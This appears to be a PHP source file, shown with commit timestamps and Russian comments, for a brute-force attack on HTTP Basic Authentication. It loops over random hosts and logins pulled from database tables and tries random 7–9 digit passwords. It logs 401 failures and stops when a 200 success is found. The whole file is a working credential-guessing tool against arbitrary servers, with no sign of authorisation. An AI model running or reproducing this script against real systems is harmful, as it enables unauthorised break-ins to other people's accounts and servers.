2023-02-08 16:59:59 +05:00
|
|
|
|
<?php
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
$_SERVER['SERVER_NAME']='tk-ligat.ru';
|
|
|
|
|
require_once('/home/cloud/core/set/tk-ligat.ru.php');
|
|
|
|
|
require_once('/home/cloud/core/api/php/db.php');
|
|
|
|
|
require_once('/home/cloud/core/api/php/json.php');
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
//генерируем случайный набор символов случайной длины
|
|
|
|
|
function gen_random($minlen, $maxlen){
|
|
|
|
|
//делаем случайную длину
|
|
|
|
|
$len=rand($minlen, $maxlen);
|
|
|
|
|
$arr = array(
|
2023-02-19 21:07:48 +05:00
|
|
|
|
//'!', '@', '#', '$', '%', '^', '&', '*', '(', ')', '-', '_', '{', '}', '[', ']', '+', '?','|',
|
2023-02-08 16:59:59 +05:00
|
|
|
|
//'А', 'Б', 'В', 'Г', 'Д', 'Е', 'Ё', 'Ж', 'З', 'И', 'Й', 'К', 'Л', 'М', 'Н', 'О', 'П', 'Р', 'С', 'Т', 'У', 'Ф', 'Х', 'Ц', 'Ч', 'Ш', 'Щ', 'Ъ', 'Ы', 'Ь', 'Э', 'Ю', 'Я',
|
|
|
|
|
//'а', 'б', 'в', 'г', 'д', 'е', 'ё', 'х', 'з', 'и', 'й', 'к', 'л', 'м', 'н', 'о', 'п', 'р', 'с', 'т', 'у', 'ф', 'х', 'ц', 'ч', 'ш', 'щ', 'ъ', 'ы', 'ь', 'э', 'ю', 'я',
|
2023-02-19 21:07:48 +05:00
|
|
|
|
//'A', 'B', 'C', 'D', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'R', 'S', 'T', 'U', 'V', 'X', 'Y', 'Z',
|
2023-02-08 16:59:59 +05:00
|
|
|
|
//'a','b','c','d','e','f', 'g','h','i','j','k','l','m','n','o','p','r','s','t','u','v','x','y','z',
|
|
|
|
|
'1','2','3','4','5','6','7','8','9','0');
|
|
|
|
|
$pass = "";
|
|
|
|
|
for($i = 0; $i < $len; $i++){
|
|
|
|
|
$index = rand(0, count($arr) - 1);
|
|
|
|
|
$pass .= $arr[$index];}
|
|
|
|
|
return $pass;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
/* ищет str в txt если находит, возвращает единичку */
|
|
|
|
|
function findtxt($txt, $str){
|
|
|
|
|
$pos1 = stripos($txt, $str);
|
|
|
|
|
if ($pos1 === false) return 0;
|
|
|
|
|
else
|
|
|
|
|
return 1;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
function brut($login='admin', $pwd=123, $host='localhost'){
|
|
|
|
|
$url = $host; // url, на который отправляется запрос
|
|
|
|
|
|
2023-02-19 21:07:48 +05:00
|
|
|
|
/* $post_data = [ // поля нашего запроса
|
2023-02-08 16:59:59 +05:00
|
|
|
|
'field1' => 'val_1',
|
|
|
|
|
'field2' => 'val_2',
|
|
|
|
|
];
|
2023-02-19 21:07:48 +05:00
|
|
|
|
*/
|
2023-02-08 16:59:59 +05:00
|
|
|
|
|
|
|
|
|
|
|
|
|
|
$headers = [
|
|
|
|
|
"Authorization: Basic " . base64_encode($login . ":" . $pwd) . "\r\n"
|
|
|
|
|
]; // заголовки запроса
|
|
|
|
|
|
|
|
|
|
$post_data = http_build_query($post_data);
|
|
|
|
|
|
|
|
|
|
$curl = curl_init();
|
2023-02-19 21:07:48 +05:00
|
|
|
|
curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 120);
|
|
|
|
|
curl_setopt($curl, CURLOPT_TIMEOUT, 120); //timeout in seconds
|
2023-02-08 16:59:59 +05:00
|
|
|
|
|
|
|
|
|
curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
|
|
|
|
|
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
|
|
|
|
|
curl_setopt($curl, CURLOPT_VERBOSE, 1);
|
2023-02-19 21:07:48 +05:00
|
|
|
|
//curl_setopt($curl, CURLOPT_POSTFIELDS, $post_data);
|
2023-02-08 16:59:59 +05:00
|
|
|
|
curl_setopt($curl, CURLOPT_URL, $url);
|
|
|
|
|
curl_setopt($curl, CURLOPT_POST, true); // true - означает, что отправляется POST запрос
|
|
|
|
|
$result = trim(curl_exec($curl));
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
$http_code = curl_getinfo($curl, CURLINFO_RESPONSE_CODE);
|
2023-02-19 21:07:48 +05:00
|
|
|
|
echo $http_code . "\n";
|
2023-02-08 16:59:59 +05:00
|
|
|
|
$res['http']=$http_code;
|
|
|
|
|
//echo $http_code;
|
|
|
|
|
|
|
|
|
|
if (findtxt($http_code, '401')==1) $res['res']='bad';
|
|
|
|
|
if (findtxt($http_code, '200')==1) $res['res']='good';
|
2023-02-19 21:07:48 +05:00
|
|
|
|
curl_close($curl);
|
|
|
|
|
return $res;
|
2023-02-08 16:59:59 +05:00
|
|
|
|
|
|
|
|
|
//if ($result=='Unauthorized') return 'bad'; else return 'good';
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
2023-02-19 21:07:48 +05:00
|
|
|
|
for($i = 0; $i < 500; $i++){
|
|
|
|
|
$password = gen_random(7, 9);
|
2023-02-08 16:59:59 +05:00
|
|
|
|
//Берем рандомный хост
|
|
|
|
|
$host = DB::getValue( 'SELECT `host` FROM `brut_hosts` ORDER BY RAND() LIMIT 1');
|
|
|
|
|
//Берем рандомный login
|
|
|
|
|
$login = DB::getValue( 'SELECT `login` FROM `brut_logins` ORDER BY RAND() LIMIT 1');
|
|
|
|
|
//узнаем буртили ли такой пароль...
|
2023-02-19 21:07:48 +05:00
|
|
|
|
//$id1=DB::getValue("SELECT `id` FROM `brut_pwd` WHERE `pwd`=?", $password);
|
|
|
|
|
//if (!$id1)DB::add("INSERT INTO `brut_pwd` (`pwd`, `md5`) VALUES(?, ?)", array($password, md5($password)));
|
2023-02-08 16:59:59 +05:00
|
|
|
|
|
|
|
|
|
|
2023-02-19 21:07:48 +05:00
|
|
|
|
//Проверяем осмысленность действий
|
2023-02-08 16:59:59 +05:00
|
|
|
|
|
2023-02-19 21:07:48 +05:00
|
|
|
|
$check200=DB::getValue("SELECT `id` FROM `brut_bad_pwd` WHERE `host`=? AND `code`=?", array($host, '200'));
|
|
|
|
|
if ($check200)break;
|
|
|
|
|
$id=DB::getValue("SELECT `id` FROM `brut_bad_pwd` WHERE `host`=? AND `login`=? AND `pwd`=? AND `code`=?", array($host, $login, $password, '401'));
|
2023-02-08 16:59:59 +05:00
|
|
|
|
if (!$id){
|
|
|
|
|
$res=brut($login, $password, $host);
|
2023-02-19 21:07:48 +05:00
|
|
|
|
echo $res['http'] . "\n";
|
|
|
|
|
if (strlen($res['http'])==3)DB::add("INSERT INTO `brut_bad_pwd` (`host`, `login`, `pwd`, `code`) VALUES(?, ?, ?, ?)", array($host, $login, $password, $res['http']));
|
|
|
|
|
|
2023-02-08 16:59:59 +05:00
|
|
|
|
}
|
|
|
|
|
unset($id);
|
2023-02-19 21:07:48 +05:00
|
|
|
|
sleep(5);
|
2023-02-08 16:59:59 +05:00
|
|
|
|
}
|
|
|
|
|
|
2023-02-19 21:07:48 +05:00
|
|
|
|
DB::set("DELETE FROM `brut_bad_pwd` WHERE `code`='400'");
|
2023-02-08 16:59:59 +05:00
|
|
|
|
|
|
|
|
|
?>
|